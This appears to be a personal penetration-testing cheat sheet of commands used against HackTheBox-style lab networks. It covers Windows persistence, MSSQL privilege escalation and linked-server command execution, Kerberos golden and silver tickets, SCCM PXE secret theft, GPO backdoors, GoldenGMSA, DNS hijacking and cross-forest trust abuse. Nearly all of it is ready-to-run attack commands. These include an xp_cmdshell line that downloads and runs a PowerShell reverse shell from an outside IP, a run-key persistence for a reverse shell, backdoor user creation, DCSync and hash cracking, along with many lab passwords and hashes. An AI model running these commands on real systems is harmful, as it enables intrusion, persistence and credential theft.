 C:\>  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run 
 /v "Test" /t REG_SZ /d "C:\Users\Public\revshell.exe" 
 
 3- create service and autostart 
 C:\> sc.exe create "Test" binpath= "C:\Users\Public\revshell.ex"
 start= auto
 
 https://lolbas-project.github.io/lolbas/Binaries/
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
21Restore Deleted Objects1 cmd
git clone https://github.com/Fabrizzio53/NetExec.git
uv run nxc/netexec.py
uv run ./nxc/netexec.py ldap dc.voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k -M tombstone -o ACTION=query

netexec smb dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -k
-  voleur.htb\todd.wolfe:NightT1meP1dg3on14 KDC_ERR_C_PRINCIPAL_UNKNOWN

uv run ./nxc/netexec.py ldap dc.voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k -M tombstone -o ACTION=restore ID=1c6b1deb-c372-4cbb-87b1-15031de169db SCHEME=ldap
netexec smb dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -k
22MSSQL2 cmds
SSMS
// enumerate all databases 
SELECT name,database_id,create_date FROM sys.databases;
//or 
SELECT name FROM master..sysdatabases;
//or 
EXEC sp_helpdb;
// or 
EXEC sp_databases;
-----------------------------------------------------
enumerate login users and roles
 
SELECT r.name, r.type_desc, r.is_disabled, sl.sysadmin, sl.securityadmin, sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin
FROM master.sys.server_principals r
LEFT JOIN master.sys.syslogins sl ON sl.sid = r.sid
WHERE r.type IN ('S','E','X','U','G');

---------------------------------------------------
// see accounts which gave permission of impersonatation to other accounts 
 
SELECT name FROM sys.server_permissions
JOIN sys.server_principals
ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';

// then 
EXECUTE AS LOGIN = '<user>';

// end impersonatation 
REVERT;
---------------------------------------------------
// need first to check trustworthy is enabled over the database or not (isolation enabled if trustworthy disabled)
1- check if trustworthy enabled over any database. 
SELECT name, is_trustworthy_on FROM sys.databases;

// another linked server :
select * from openquery("SQL02\SQLEXPRESS",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')


2- see if i am the db_owner or any other 
use <database>
SELECT IS_ROLEMEMBER('db_owner');

/// to see all users and check who is the db_owner of every db 
EXEC ('sp_helpuser') AT "SQL02\SQLEXPRESS"

// try to see impersonatation and try that impersonatation to be owner for trustworthy db as 
use <database>;
EXECUTE AS LOGIN = '<impersonated>';
SELECT IS_ROLEMEMBER('db_owner');

------------------------------------------------
// make privielge escalation by trustworthy 
CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
    EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin'
GO

EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;

// or 

EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''htb-dbuser'',''sysadmin''') AT "SQL02\SQLEXPRESS"
--------------------------------------------------
// validate privileges 
REVERT;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

// or 
EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "SQL02\SQLEXPRESS"
---------------------------------------------------
UNC PATH INJECTION 
xp_fileexist 
xp_dirtree
xp_subdirs 

1- run responder 
# sudo responder -I tun0 -v

2- inject unc path 
EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';

3- crack the hash : 
# hashcat -m 5600 '<SNIP>' /usr/share/wordlists/rockyou.txt

-----------------------------------------------------
// enumerate linked_Servers 
OPENQUERY: Executes a query on a pre-defined linked server
EXECUTE AT: Executes a query on a pre-defined linked server.
OPENROWSET: Connects and executes a query on a remote server

// enumerate linked_servers 
EXEC sp_linkedservers;

// execute command over server SQL02 
SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');
EXEC ('SELECT SYSTEM_USER, USER_NAME()') AT [MS02\SQLEXPRESS];

// To use execute at , we should first check permission over server SQL02 
SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

// Execute commands on server SQL02 
EXECUTE ('EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami";') AT SQL02;


// search for DAC password 
https://github.com/NetSPI/Powershell-Modules/blob/master/Get-MSSQLLinkPasswords.psm1
Import-Module .\Get-MSSQLLinkPasswords.psm1
Get-MSSQLLinkPasswords








ل
 crackmapexec mssql 10.129.203.121 -u grace -p Inlanefreight01! -q "SELECT name FROM master.dbo.sysdatabases"
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -q "SELECT name FROM master.dbo.sysdatabases" 
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -q "SELECT table_name from core_app.INFORMATION_SCHEMA.TABLES" 
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -q "SELECT * from [core_app].[dbo].tbl_users" 
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -x whoami
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth --put-file /etc/passwd C:/Users/Public/passwd
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -x "dir c:\Users\Public"
 crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth --get-file C:/Windows/System32/drivers/etc/hosts hosts
 - Get Privilege escalation : 
 crackmapexec mssql 10.129.203.121 -u robert -p Inlanefreight01! -M mssql_priv -o ACTION=privesc
 crackmapexec mssql 10.129.203.121 -u robert -p Inlanefreight01! -M mssql_priv -o ACTION=rollback
 crackmapexec mssql 10.129.203.121 -u robert -p Inlanefreight01! -x whoami
 netexec mssql 10.129.181.128 -u john.w -p 'RFulUtONCOL!' -q "EXEC sp_linkedservers;"
 
 netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
 
=> UNC PATH 
hossamshady11@htb[/htb]$ sudo responder -I tun0 -v

EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';
hashcat -m 5600 '<SNIP>' /usr/share/wordlists/rockyou.txt

as : > EXEC xp_dirtree '\\10.10.14.114\academy-student';

------------------------------------------------
> enum_db 
> use <database_name>
> select name from sys.tables;
> enum_logins
> enum_owner
> enum_users
> enum_links
> use_link [SQL07] 
> EXEC ('SELECT SYSTEM_USER') AT [SQL07];

- if not responding try to use => # nslookup <link_server>.overwatch.htb <link_server>.overwatch.htb 
if ok then use ldap as : ldapsearch -x -H ldap://overwatch.htb -D 'sqlsvc@overwatch.htb' -w 'TI0LKcfHzZw1Vv' -b 'DC=overwatch,DC=htb' '(&(objectClass=computer)(!(name=<link_name>)))' name dNSHostName operatingSystem servicePrincipalName

------------------------------------------------
after connecting with impacket-mssqlclient 
> EXEC sp_linkedservers
> EXEC ('EXEC xp_cmdshell ''whoami'';') AT [DC02.darkzero.ext];
Invoke-PowershellTcpEx => edit the last line -> open server to upload the tool over port 1000 and also open nc -nlvp 4444 

> EXEC ('EXEC xp_cmdshell ''powershell iex (iwr -UseBasicParsing http://10.10.14.9:1000/Invoke-PowerShellTcpEx.ps1);power -Reverse -IPAddress 10.10.14.9 -Port 4444'';') AT [DC02.darkzero.ext]; 

xp_cmdshell "powershell -e <base64_shell_revshell.com_Powershell#3(base64)>"
nc -nvlp 4444

> enum_impersonate 
> exec_as_login sa
> use privesc;
> SELECT * FROM INFORMATION_SCHEMA.TABLES;
> SELECT * FROM Flag;
 sp_start_job cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"
 
 
 use_link SQL02
	 SELECT name, database_id, create_date FROM sys.databases;
 use_link localhost
 ----------------------------------------------------------------------------
 // schedule tasks  
 > sp_start_job cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"
 
 /// use SQL02 
 > use SQL02 
 > SELECT name, database_id, create_date FROM sys.databases;
 
 -----------------------------------------------------------------------------
 enum_impersonate
 exec_as_login sa

 enable_xp_cmdshell
xp_cmdshell type C:\flag.txt
-------------------------------------------------------------------
cd C:\Users\Administrator\Desktop
Import-Module .\Get-MSSQLLinkPasswords.psm1
Get-MSSQLLinkPasswords
-----------------------------------------------------------------------------------

 Import-Module .\PowerUpSQL.psm1
Get-SQLQuery -Verbose -Instance "127.0.0.1,1433" -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Query "SELECT SYSTEM_USER"
 Get-SQLInstanceDomain -Verbose
 Get-SQLServerInfo -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01"
 Invoke-SQLAudit -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01"
Invoke-SQLEscalatePriv -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -Verbose

Invoke-SQLOSCmd enables and then executes commands with xp_cmdshell
Invoke-SQLOSCmdAgentJob executes commands via MSSQL Server Agent Jobs
Invoke-SQLOSCmdOle executes commands via OLE Automation Stored Procedures
 
  Invoke-SQLOSCmd -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -Command "whoami"
  Invoke-SQLOSCmdAgentJob -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -SubSystem "CmdExec" -Command "whoami"
  Invoke-SQLOSCmdOle -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -Command "whoami"
 
 
 Get-SqlServerLinkCrawl -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01"
 $Out = Get-SQLServerLinkCrawl -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -Query "SELECT SYSTEM_USER";
  $Out
 -------------------------------------------------------------------------
 > Invoke-SQLAudit -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01"
 > Invoke-SQLEscalatePriv -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -Verbose
 > Invoke-SQLOSCmd -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -Command "whoami"
 > Get-SqlServerLinkCrawl -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01"
 >  $Out = Get-SQLServerLinkCrawl -Username "ws_dev" -Password "4X6cuvDLNer7nwYN5LBZ" -Instance "SQL01" -Query "SELECT SYSTEM_USER";
 > $Out
  ==============================================================================================================================
  Get NTLM of Password: python3 -c 'import hashlib; print(hashlib.new("md4", "purPLE9795!@".encode("utf-16le")).hexdigest())'
  get Domain SID by mssql : 
  SQL guest@master > SELECT SUSER_SID('DOMAIN\Domain Users');
  
  python3 
  >>  from impacket.dcerpc.v5.dtypes import SID
  >> SID(bytes.fromhex('0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000')).formatCanonical()
  Output SID: 'S-1-5-21-4088429403-1159899800-2753317549-513'
  
  Perform Golden Ticket: 
  ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 mssqlsvc
  
  KRB5CCNAME=mssqlsvc.ccache mssqlclient.py -no-pass -k DC01.signed.htb
  
  know if you are administrator or not => if yes then continue => if not go to the next step 
  select SUSER_SNAME(), ORIGINAL_LOGIN();
  
  TGS as Administrator :
  ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 Administrator
  KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass -k DC01.signed.htb
  select SUSER_SNAME(), ORIGINAL_LOGIN();

  /// Get SID for Specific Group: 
  select SUSER_SID('Signed\IT')
  0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
  
  python -c 'print(0x451)'
  
  /// add that group to silver ticket :
  ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 Administrator
  
  
  /// KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass -k DC01.signed.htb
  
  
  
  
----------------------------------------------------------------------------------------------
SCCM 
1- know what is server over ip 
nmap -sU -p 67,68,69,4011 172.50.0.0/24
python3 sccmhunter.py find -u blwasp -p Password123! -d lab.local -dc-ip 172.50.0.10  (DC)

cd C:\Tools\PXEthief
python .\pxethief.py 2 172.50.0.30
- Subsequently, they will copy the generated tftp command to download the boot.var file locally:
tftp -i 172.50.0.30 GET "\SMSTemp\2024.08.22.12.10.36.0001.{3EC4F2D4-9782-4D51-9797-DA65D6C82D8E}.boot.var" "2024.08.22.12.10.36.0001.{3EC4F2D4-9782-4D51-9797-DA65D6C82D8E}.boot.var"  
python .\pxethief.py 5 '.\2024.08.22.12.10.36.0001.{3EC4F2D4-9782-4D51-9797-DA65D6C82D8E}.boot.var'


mkdir hashcat_pxe/
cd hashcat_pxe/
git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat/
git checkout -b v6.2.5 tags/v6.2.5
make


./hashcat -m 19850 --force -a 0 '$sccm$aes128$0000edec14000000be310000c03100000e6600000000000011cb54aa3b699f61f86ab312e6fb97ec' /usr/share/wordlists/rockyou.txt.gz
./hashcat -m 19850 --force -a 0 '$sccm$aes128$0000edec14000000be310000c03100000e6600000000000011cb54aa3b699f61f86ab312e6fb97ec' /usr/share/wordlists/rockyou.txt.gz --show
python .\pxethief.py 3 '.\2024.08.22.12.10.36.0001.{3EC4F2D4-9782-4D51-9797-DA65D6C82D8E}.boot.var' "Password1"


connect with passwords found :
runas /netonly /user:LAB\sccm_push powershell
type \\LAB-DC\SCCMShare\PUSH\flag.txt

-------------------------------------------------------------------------------------------------------------
.\SharpSCCM.exe get secrets

  
08

Forest & Trust Attacks

Cross-forest, intra-forest trust abuse and realm pivots.

3
23Intra-Forest Attacks8 cmds3 img
Golden Ticket & Sid History
that attack tries to hack parent of the forest after hacking child 
- Enumerate Users with SID history enabled : 

Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory

needed things for that attack :
= The KRBTGT hash for the child domain
- The SID for the child domain
- The name of a target user in the child domain (does not need to exist!)
- The FQDN of the child domain.
- The SID of the Enterprise Admins group of the root domain.
With this data collected, the attack can be performed with Mimikatz.
-  mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
-  Get-DomainSID
-  Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
-
>  mimikatz kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL 
/sid:S-1-5-21-2806153819-209893948-922872689 
/krbtgt:9d765b482771505cbe97411065964d5f 
/sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

> .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
>  ls \\academy-ea-dc01.inlanefreight.local\c$
> klist 
- Perform DcSync Attack aginst Parent :
> mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL





######## From Linux ##############
- Get KRBTGT
# secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
- Get Sid 
# lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
- Get Enterprise Sid 
# lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

- Perforing Golden Ticket 
# ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
# export KRB5CCNAME=hacker.ccache 
# psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

can also automate Privilege Escalation : 
# raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/non-exist_user
172.16.5.5 => Parent Ip 
LOGISTICS => child domain 
non-exist_user

# secretsdump.py inlanefreight.local/administrator@172.16.5.5 -hashes aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf -just-dc | grep bross
----------------------------------------------------------
GPO Abuse On Site Attack
1- create GPO 
C:\> $gpo = "Backdoor"
C:\> New-GPO $gpo

2- Create Scheduled Task inside GPO 
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1
- install the older version of Powerview 
C:\> Import-Module .\PowerView_2.ps1
C:\> New-GPOImmediateTask -Verbose -Force -TaskName 'Backdoor' -GPODisplayName "Backdoor" -Command C:\Windows\System32\cmd.exe -CommandArguments "/c net user backdoor B@ckdoor123 /add"

--- Go to images below and then go back and continue step 3 

3- Replicate Site :
C:\> Get-ADDomainController -Server inlanefreight.ad |Select ServerObjectDN

4- Link GPO to Default site as SYSTEM:
C:\> .\PsExec.exe -s -i powershell.exe
C:\> whoami
C:\> $sitePath = "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=AD"
C:\> New-GPLink -Name "Backdoor" -Target $sitePath -Server dev.inlanefreight.ad

C:\> gpupdate /force 

5- Request TGT for backdoor :
C:\> .\Rubeus.exe asktgt /user:backdoor /password:'B@ckdoor123' /domain:inlanefreight.ad /ptt
image 1.png
image 2.png
image 3.png
GoldenGMSA Attack
1- know who can control or read gMSA 
Get-DomainObjectAcl -SearchBase "CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=inlanefreight,DC=ad"

- look at securityIdentifier 

2- if found NT AUTHORITY\SYSTEM or S-1-5-18 then try to open powershell as SYSTEM
C:\> .\PsExec -accepteula -s -i powershell 

3- enumerate gMSA in Parent Domain : 
C:\> .\GoldenGMSA.exe gmsainfo --domain inlanefreight.ad
- Output 
sAMAccountName:         svc_devadm$
objectSid:              S-1-5-21-2879935145-656083549-3766571964-1106
rootKeyGuid:            ba932c0c-5c34-ce6e-fcb8-d441d116a736
msds-ManagedPasswordID: AQAAAEtEU0sCAAAAaQEAABEAAAAfAAAADC

3- Retrieving gMSA Password: (- domain: parent domain | forest (child domain) 
C:\> .\GoldenGMSA.exe compute --sid "S-1-5-21-2879935145-656083549-3766571964-1106" --forest dev.inlanefreight.ad --domain inlanefreight.ad

Base64 Encoded Password:        WITSKRtGahQFvL/iUmJfQbRIJ7S7GMW+nKUj+TlJ<snip>
===========================================================================================
 if need to attack OffLine : 
C:\> .\PsExec -accepteula -s -i powershell
C:\> .\GoldenGMSA.exe gmsainfo --domain inlanefreight.ad

sAMAccountName:         svc_devadm$
objectSid:              S-1-5-21-2879935145-656083549-3766571964-1106
rootKeyGuid:            ba932c0c-5c34-ce6e-fcb8-d441d116a736
msds-ManagedPasswordID: AQAAAEtEU0sCAAAAaQEAABEAAAAfAAAADCyTuj

C:\> .\GoldenGMSA.exe kdsinfo --forest dev.inlanefreight.ad

Guid:           ba932c0c-5c34-ce6e-fcb8-d441d116a736
Base64 blob:    AQAAAAwsk7o0XG7O/LjUQdEWpzYAAAAAAQAAAAAAAAAkAAAAUwBQADgAMAAwAF8AMQ<snip>

C:\> .\GoldenGMSA.exe compute --sid "S-1-5-21-2879935145-656083549-3766571964-1106" --kdskey AQAAAAwsk7o0XG7O/LjUQdEWpzYAAAAAAQAAAAAAAAAkAAAAUwBQADgAMAAwAF8AMQ<snip>

Base64 Encoded Password:   WITSKRtGahQFvL/iUmJfQbRIJ7S7GMW+nKUj+TlJ4YZJyZ6pjlp5caC78rC4oY6woKxe294/
================================================================================================
4- 
--- Convert Password to NT Hash : file.py 
import hashlib
import base64
 
base64_input  = "WITSKRtGahQFvL/iUmJfQbRIJ7S7GMW+nKUj+TlJ4YZJyZ6pjlp5caC78rC4oY6woKxe294/hPCCl6nL2NNWSmj6f1GlmFKvizvlABXVpLqIGbQvyZEbYhPr+twasnf4m+B0qmwj4fXUx8qQAy+cEIV8sd18ZvOLKet7259cIbXTV1lbO3gxIEmDDjMmgP6QD1GQDHnr4xxgwR5YKZC9CbK01db3SWlpPYxElx30MGwzMLtL17ccxmGYAMzqNq/R9ldEq/hC4WDJ3hGg4CVagcOuHOQPOJ6Nh0+x4CBE46CoshfID+3wyswFI/akytdBDVyNk1hj9KH4v/kizCPw6A=="

print(hashlib.new("md4", base64.b64decode(base64_input)).hexdigest())
---------------------
C:\> python3 file.py 
32ac66cd327aa76b3f1ca6eb82a801c5
5- 
C:\> .\Rubeus.exe asktgt /user:svc_devadm$ /rc4:32ac66cd327aa76b3f1ca6eb82a801c5 /domain:inlanefreight.ad /ptt
DNS Trust Attack
DomainDnsZones partition (CN=MicrosoftDNS,DC=DomainDnsZones,DC=root,DC=local)
ForestDnsZones partition (CN=MicrosoftDNS,DC=ForestDnsZones,DC=root,DC=local)
Domain partition (CN=MicrosoftDNS,CN=System,DC=root,DC=local)


Get-Acl -Path "AD:\CN=MicrosoftDNS,DC=DomainDnsZones,DC=inlanefreight,DC=ad" | Select-Object -ExpandProperty Access
Get-Acl -Path "AD:\CN=MicrosoftDNS,DC=ForestDnsZones,DC=inlanefreight,DC=ad" | Select-Object -ExpandProperty Access
Get-Acl -Path "AD:\CN=MicrosoftDNS,DC=System,DC=inlanefreight,DC=ad" | Select-Object -ExpandProperty Access


(Get-Acl -Path "AD:\CN=MicrosoftDNS,DC=DomainDnsZones,DC=inlanefreight,DC=ad").Access | Where-Object {$_.ActiveDirectoryRights -match "CreateChild" -or $_.ActiveDirectoryRights -match "GenericAll"} | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType

(Get-Acl -Path "AD:\CN=MicrosoftDNS,DC=ForestDnsZones,DC=inlanefreight,DC=ad").Access | Where-Object {$_.ActiveDirectoryRights -match "CreateChild" -or $_.ActiveDirectoryRights -match "GenericAll"} | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType

(Get-Acl -Path "AD:\CN=MicrosoftDNS,DC=System,DC=inlanefreight,DC=ad").Access | Where-Object {$_.ActiveDirectoryRights -match "CreateChild" -or $_.ActiveDirectoryRights -match "GenericAll"} | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType


-----------------------------------------------------Add * to not found Childs --------------------------------------------------------
Resolve-DNSName NOTFOUND.inlanefreight.ad

.\PsExec -s -i powershell

Import-module .\Powermad.ps1
New-ADIDNSNode -Node * -domainController DC01.inlanefreight.ad -Domain inlanefreight.ad -Zone inlanefreight.ad -Tombstone -Verbose

Resolve-DNSName TEST2.inlanefreight.ad
-------------------------------------------------------------------------------------------------------------------------------------

-----------------------------------------------Change Existing ----------------------------------------------------------------
// to enumerate the parent DNS records : 
Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"

/// Enumerate DNS Record for DEV01
Resolve-DnsName -Name DEV01.inlanefreight.ad -Server DC01.INLANEFREIGHT.AD

// modify specific child 
$Old = Get-DnsServerResourceRecord -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad -Name DEV01
$New = $Old.Clone()
$TTL = [System.TimeSpan]::FromSeconds(1)
$New.TimeToLive = $TTL
$New.RecordData.IPv4Address = [System.Net.IPAddress]::parse('172.16.210.3')
Set-DnsServerResourceRecord -NewInputObject $New -OldInputObject $Old -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad
Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"


/// We can now execute Inveigh on the child DC to intercept NTLM hashes from users attempting to access \\DEV01.INLANEFREIGHT.AD\dev_share
Stop-Inveigh
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMB Y
hashcat -m 5600 buster_ntlmv2 /usr/share/wordlists/rockyou.txt 
.\Rubeus.exe asktgt /user:buster /domain:inlanefreight.ad /password:<SNIP> /ptt
Abusing Foreign ACL

/// enumerate users from child domain in Global parent group 
Get-DomainForeignUser

/// Enumerate the foreign ACLs for all users
$Domain = "inlanefreight.ad"
$DomainSid = Get-DomainSid $Domain
Get-DomainObjectAcl -Domain $Domain -ResolveGUIDs -Identity * | ? { 
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner') -and `
    ($_.AceType -match 'AccessAllowed') -and `
    ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and `
    ($_.SecurityIdentifier -notmatch $DomainSid)
}

---------------------
// In cross forests can be found Foreign Groups these commands would tell you group in other domain but has user from current domain , 

Get-DomainForeignGroupMember -Domain logistics.ad

Import-Module .\PowerView.ps1
Get-DomainObject -LDAPFilter '(objectClass=ForeignSecurityPrincipal)' -Domain logistics.ad
ConvertFrom-SID S-1-5-21-2432454459-173448545-3375717855-3601
Cross Forest Trust (One way) (Trust Account)
1- run Get-ADTrust // found one way trust outbound 
2- go to domain controller in your forest and run 
.\mimikatz.exe "lsadump::trust /patch" "exit"
3- found [OUT] and rc4_hmac_nt take it as password for TDO (Account with name of trusting but found in trusted forest) 
A.com ---- > Trust ----> B.com   | A$ account found on B (Called TDO) 
4- .\Rubeus.exe asktgt /user:A$ /domain:B.com /rc4:68e456d3a95cc748ac5a2eae679b9c91 /ptt
5- can run Bloodhound over the other domain (B.com) 
.\SharpHound.exe -c All -d B.com 
6- search for kerberosable accounts on other domain 
.\Rubeus.exe kerberoast /domain:B.com 
7- crack the hash and see the permission for that person from bloodhound 
Unconstrained Delegation
Must ensure that Selective Authentication is disabled TRUST_ATTRIBUTE_CROSS_ORGANIZATION disabled 
Get-ADTrust -Identity "اسم_الدومين_الأجنبي" | Select-Object Name, SelectiveAuthentication


.\Rubeus.exe monitor /interval:5 /nowrap
.\SpoolSample.exe dc02.logistics.ad dc01.inlanefreight.ad
.\Rubeus.exe renew /ticket:doIFFDCCBRCgAw
Abusing PAM Trusts
//enumerate for shadow principals

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
24Trust1 cmd
// Trust are saved in Trust Domain Object
// FilterSIDS /// mean trust outside the forest not inside 
// global catalog is domain controller which save info about Forest Trust objects 
25REALM1 cmd
netexec smb dc01.vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k --generate-krb5-file vintage-krb5.conf

echo "10.10.11.45 dc01.vintage.htb vintage.htb dc01" | sudo tee -a /etc/hosts
echo '[libdefaults]
default_realm = VINTAGE.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
}
[domain_realm]
.vintage.htb = VINTAGE.HTB
vintage.htb = VINTAGE.HTB' | tee -a krb5.conf

 export KRB5_CONFIG=`pwd`/krb5.conf
# sudo net time set -S vintage.htb
# echo 'Rosaisbest123' | kinit p.rosa

Password for p.rosa@VINTAGE.HTB:
# klist
Ticket cache: FILE:/tmp/krb5cc_1001
Default principal: p.rosa@VINTAGE.HTB
Valid starting Expires Service principal
04/17/2025 00:55:58 04/17/2025 10:55:58 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/18/2025 00:55:58
# ldapwhoami -Y GSSAPI -H ldap://dc01.vintage.htb
SASL/GSSAPI authentication started
SASL username: p.rosa@VINTAGE.HTB
SASL SSF: 256
SASL data security layer installed.
u:VINTAGE\P.Rosa


echo 'fs01' | kinit 'fs01$'
klist

# bloodhound.py -u 'p.rosa' -p 'Rosaisbest123' -k -d 'vintage.htb' --zip -c All -dc dc01.vintage.htb -ns 10.10.11.45 --dns-tcp
No techniques match your search.